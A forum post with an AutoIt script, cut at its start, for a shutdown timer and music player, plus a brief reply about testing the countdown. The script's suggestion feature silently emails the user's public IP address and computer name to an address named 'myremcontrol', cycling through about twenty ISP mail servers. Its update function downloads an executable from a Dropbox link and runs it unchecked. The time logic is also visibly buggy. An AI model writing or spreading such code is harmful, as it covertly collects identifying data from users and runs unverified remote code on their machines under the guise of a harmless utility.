$Songs=100/$SongNumber
DirCreate(@ScriptDir & "\Songs")
If Not FileExists(@ScriptDir & "\Songs\1.mp3") Or Not FileExists(@ScriptDir & "\Songs\2.mp3") Or Not FileExists(@ScriptDir & "\Songs\3.mp3") Or Not FileExists(@ScriptDir & "\Songs\4.mp3") Or Not FileExists(@ScriptDir & "\Songs\5.mp3") Or Not FileExists(@ScriptDir & "\Songs\6.mp3") Or Not FileExists(@ScriptDir & "\Songs\7.mp3") Or Not FileExists(@ScriptDir & "\Songs\8.mp3") Or Not FileExists(@ScriptDir & "\Songs\9.mp3") Or Not FileExists(@ScriptDir & "\Songs\10.mp3") Or Not FileExists(@ScriptDir & "\Songs\11.mp3") Then
ProgressOn("Progress Meter", "Install Progress", "0 percent")
ProgressSet( 0, 0 & " percent")
If not FileExists(@ScriptDir & "\Songs\1.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\1.mp3", @ScriptDir & "\Songs\1.mp3")
ProgressSet( $Songs, $Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\2.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\2.mp3", @ScriptDir & "\Songs\2.mp3")
ProgressSet( 2*$Songs, 2*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\3.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\3.mp3", @ScriptDir & "\Songs\3.mp3")
ProgressSet( 3*$Songs, 3*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\4.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\4.mp3", @ScriptDir & "\Songs\4.mp3")
ProgressSet( 4*$Songs, 4*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\5.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\5.mp3", @ScriptDir & "\Songs\5.mp3")
ProgressSet( 5*$Songs, 5*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\6.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\6.mp3", @ScriptDir & "\Songs\6.mp3")
ProgressSet( 6*$Songs, 6*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\7.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\7.mp3", @ScriptDir & "\Songs\7.mp3")
ProgressSet( 7*$Songs, 7*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\8.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\8.mp3", @ScriptDir & "\Songs\8.mp3")
ProgressSet( 8*$Songs, 8*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\9.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\9.mp3", @ScriptDir & "\Songs\9.mp3")
ProgressSet( 9*$Songs, 9*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\10.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\10.mp3", @ScriptDir & "\Songs\10.mp3")
ProgressSet( 10*$Songs, 10*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\11.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\11.mp3", @ScriptDir & "\Songs\11.mp3")
ProgressSet( 11*$Songs, 11*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\12.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\12.mp3", @ScriptDir & "\Songs\12.mp3")
ProgressSet( 12*$Songs, 12*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\13.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\13.mp3", @ScriptDir & "\Songs\13.mp3")
ProgressSet( 13*$Songs, 13*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\14.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\14.mp3", @ScriptDir & "\Songs\14.mp3")
ProgressSet( 14*$Songs, 14*$Songs & " percent")
If not FileExists(@ScriptDir & "\Songs\15.mp3") Then FileInstall("C:\Users\Elias\Documents\Autoit\Laptop\Shutdown\Songs\15.mp3", @ScriptDir & "\Songs\15.mp3")
ProgressSet( 100, "Done", "Complete")
ProgressOff()
EndIf
Local $last, $2ndlast, $3rdlast, $4thlast, $random, $open, $DisplayTime, $Timeleft, $length, $sFormattedTime
$Getnew=1
$Pause=1
$Nosong=0
If @HOUR<>23 Then
If @MIN>39 Then $time = @HOUR+1 & ":" & @MIN-30
If @MIN>29 And @MIN<40 Then $time = @HOUR+1 & ":0" & @MIN-30
If @MIN<30 Then $time = @Hour & ":" & @MIN+30
If @MIN>39 Then $1 = @HOUR+1 & ":0" & @MIN-30
If @MIN>29 And @MIN<40 Then $1 = @HOUR+1 & ":0" & @MIN-30
If @MIN<30 Then $1 = @Hour & ":" & @MIN+30
EndIf
If @HOUR=23 Then
If @MIN>39 Then $time = @HOUR-23 & "0:" & @MIN-30
If @MIN>29 And @MIN<40 Then $time = @HOUR+1 & "0:0" & @MIN-30
If @MIN<30 Then $time = @Hour & ":" & @MIN+30
If @MIN>39 Then $1 = @HOUR-23 & "0:0" & @MIN-30
If @MIN>29 And @MIN<40 Then $1 = @HOUR+1 & "0:0" & @MIN-30
If @MIN<30 Then $1 = @Hour & ":" & @MIN+30
EndIf

GUICreate("", 150, 205)
$Exit=GUICtrlCreateButton("Exit", 10, 160, 130, 20)
$Turnofftime=GUICtrlCreateInput($time, 50, 10, 35, 20)
$Apply=GUICtrlCreateButton("Applied", 90, 10, 50, 20)
$Undo=GUICtrlCreateButton("Undo", 10, 10, 35, 20)
$Start=GUICtrlCreateButton("Start", 10, 40, 130, 20)
$Next=GUICtrlCreateButton("Next Song", 10, 70, 130, 20)
$Suggestion=GUICtrlCreateButton("Suggest Something", 10, 100, 130, 20)
$Update=GUICtrlCreateButton("Update Program", 10, 130, 130, 20)
$label=GUICtrlCreateLabel("", 15, 185, 60, 20)
$label2=GUICtrlCreateLabel("", 60, 185, 60, 20)
$label3=GUICtrlCreateLabel("", 105, 185, 60, 20)
GUISetState()
If FileExists(@ScriptDir & "updateshutdown.exe") Then
ProcessClose("updateshutdown.exe")
FileDelete(@ScriptDir & "updateshutdown.exe")
EndIf
$o1=GUICtrlRead($Turnofftime)
$o2=GUICtrlRead($Turnofftime)
$o3=GUICtrlRead($Turnofftime)

WHile 1
If $o1<>GUICtrlRead($Turnofftime) Then
$o1=GUICtrlRead($Turnofftime)
GUICtrlSetData($Apply, "Apply")
EndIf
If $o2=GUICtrlRead($Turnofftime) And GUICtrlRead($Apply)="Apply" Then
GUICtrlSetData($Apply, "Applied")
EndIf
$msg=GUIGetMsg()
Switch $msg
Case $GUI_EVENT_CLOSE
Exit
Case $Undo
If GUICtrlRead($Apply)="Apply" Then GUICtrlSetData($Turnofftime, $o2)
If GUICtrlRead($Apply)="Applied" Then GUICtrlSetData($Turnofftime, $o3)
Case $Update
Update()
Case $Suggestion
$Sugg=InputBox("Suggest Something", "Type in the name of a new song or any other suggestion here." & @CRLF & @CRLF & "Note: Sending a suggestion can take a while, and may cause lag.")
If $Sugg<>"" Then
$SMTP=InputBox("Smtp", "If you know the smpt server for your internet provider, please type it in here.")
SendMail()
EndIf
Case $Next
If $Nosong=1 Then
$Getnew=1
_SoundClose($open)
$4thlast=$3rdlast
$3rdlast=$2ndlast
$2ndlast=$last
$last=$random
EndIf
Case $Exit
Exit
Case $Apply
$1=GUICtrlRead($Turnofftime)
$o3=$o2
$o2=$1
GUICtrlSetData($Apply, "Applied")
Case $Start
If $Pause=1 Then
If $Getnew=0 Then
_SoundResume($open)
EndIf
$MakePause=0
GUICtrlSetData($Start, "Pause")
EndIf
If $Pause=0 Then
_SoundPause($open)
$MakePause=1
GUICtrlSetData($Start, "Start")
EndIf
If $MakePause=0 Then $Pause=0
If $MakePause=1 Then $Pause=1
EndSwitch
If $Pause=0 Then
If $1=@HOUR & ":" & @MIN Then ExitLoop
If $Getnew=1 Then
$random=Random(1, $SongNumber, 1)
If $random<>$last and $random<>$2ndlast and $random<>$3rdlast and $random<>$4thlast Then
$open=_SoundOpen(@ScriptDir & "\Songs\" & $random & ".mp3")
$length=_SoundLength($open, 2)
_SoundPlay($open, 0)
$Getnew=0
$Nosong=1
EndIf
EndIf
If _SoundPos($open, 2) > $length-1 Then
$Getnew=1
_SoundClose($open)
$4thlast=$3rdlast
$3rdlast=$2ndlast
$2ndlast=$last
$last=$random
EndIf
EndIf

$sOldFormattedTime=$sFormattedTime
$sEndDT = _DateAdd("D", 1, _NowCalcDate()) & " " & $1 & ":00"
$iDiff = _DateDiff("s", _NowCalc(), $sEndDT)
$iHours = Int($iDiff / 3600)
$iMinutes = Int(($iDiff - ($iHours * 3600)) / 60)
$iSeconds = $iDiff - (($iHours * 3600) + ($iMinutes * 60))
$sFormattedTime = StringRight("0" & $iHours, 2) & ":" & StringRight("0" & $iMinutes, 2) & ":" & StringRight("0" & $iSeconds, 2)
If $sOldFormattedTime<>$sFormattedTime Then GUICtrlSetData($label3, $sFormattedTime)


$OldDisplayTime=$DisplayTime
$OldTimeleft=$Timeleft
$DisplayTime = _SoundPos($open, 2)
$Timeleft = $length-$DisplayTime
$Timeleft = _TimeReadable($Timeleft)
$DisplayTime = _TimeReadable($DisplayTime)
If $OldDisplayTime <> $DisplayTime Then GUICtrlSetData($label, $DisplayTime)
If $OldTimeleft <> $Timeleft Then GUICtrlSetData($label2, $Timeleft)
WEnd

;~ Shutdown(1)

Func SendMail()
While 1
If $SMTP <> "" Then
$s_SmtpServer = $SMTP
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
EndIf
$s_SmtpServer = "smtp.online.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.broadpark.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.gmail.com"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.live.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.altibox.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.sfjbb.net"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.signal.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.netcom.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "mail.c2i.net"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.brednett.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.alltidonline.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.ice.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smartmail.hjemme.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.bluecom.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "mail.bntv.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.catch.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.chello.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.dataguard.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.directconnect.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.enter.vg"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.eunet.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.fastcom.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.fiber365.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop

$s_SmtpServer = "smtp.tbbb.no"
$s_FromName = @ComputerName
$s_FromAddress = "team.shadow@hotmail.com"
$s_ToAddress = "myremcontrol@gmail.com"
$s_Subject = $Sugg
$as_Body= _GetIP()
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
If $Response=1 Then ExitLoop
MsgBox(0, "Error:", "Error: Unable to send suggestion.")
ExitLoop
WEnd
EndFunc

Func Update()
Local $hDownload = InetGet("https://dl.dropbox.com/u/47967650/updateshutdown.exe", @ScriptDir & "\updateshutdown.exe", 1, 1)
Do
Sleep(250)
Until InetGetInfo($hDownload, 2)
InetClose($hDownload)
Sleep(1000)
Run(@ScriptDir & "\updateshutdown.exe")
EndFunc

Func _TimeReadable($mili)
$TotalSeconds = Int($mili / 1000)
$Hours = Int($TotalSeconds / 3600)
$Minutes = Int(($TotalSeconds - ($Hours * 3600)) / 60)
$Seconds = $TotalSeconds - (($Hours * 3600) + ($Minutes * 60))
If $Hours < 10 Then $Hours = "0" & $Hours
If $Minutes < 10 Then $Minutes = "0" & $Minutes
If $Seconds < 10 Then $Seconds = "0" & $Seconds
$FormattedTime = $Minutes & ":" & $Seconds
Return $FormattedTime
EndFunc
Link to comment
Share on other sites

I tested the code here and it says it's 07:51:30 from now to 01:00:00 AM tomorrow

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2022-02-19 - Version 1.6.1.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (2021-11-16 - Version 1.7.0.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (NEW 2022-07-28 - Version 1.6.0.1) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...